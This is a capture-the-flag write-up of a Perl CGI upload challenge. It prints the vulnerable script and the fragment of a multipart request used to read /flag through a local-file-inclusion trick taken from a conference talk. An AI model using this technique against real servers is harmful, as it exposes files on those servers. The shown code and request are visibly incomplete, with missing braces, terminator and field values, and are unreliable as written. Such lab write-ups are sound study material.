Web 200 - I Got Id

This challlenge was a frustrating blackbox. No information was given about it, although, it was obvious that the website was made using Perl. We solve this challenge on the last day when someone stumbled uppon a Blackhat ASIA 2016 talk about Perl that seemed to fit what the challenge was doing.

Here is the full source code of file.pl

use strict;
use warnings;
use CGI;

my $cgi = CGI->new;

print $cgi->header;

print << "EndOfHTML";
<!DOCTYPE html
 	PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">
 		<title>Perl File Upload</title>
 		<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
 		<h1>Perl File Upload</h1>
 		<form method="post" enctype="multipart/form-data">
 			File: <input type="file" name="file" />
 			<input type="submit" name="Submit!" value="Submit!" />
 		<hr />

if ($cgi->upload('file')) {
    my $file = $cgi->param('file');
    while (<$file>) {
        print "$_";
        print "<br />";

print '</body></html>';

The slides explains pretty well how to exploit this script. We had a local file inclusion vulnerability that we can exploit to find the flag. This request was then made to extract the file /flag which conveniently contained the flag solving the challenge.

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBmriDnOpKyHMfymW

Content-Disposition: form-data; name="file"

Content-Disposition: form-data; name="file"; filename="we"
Content-Type: text/aaaa



comments powered by Disqus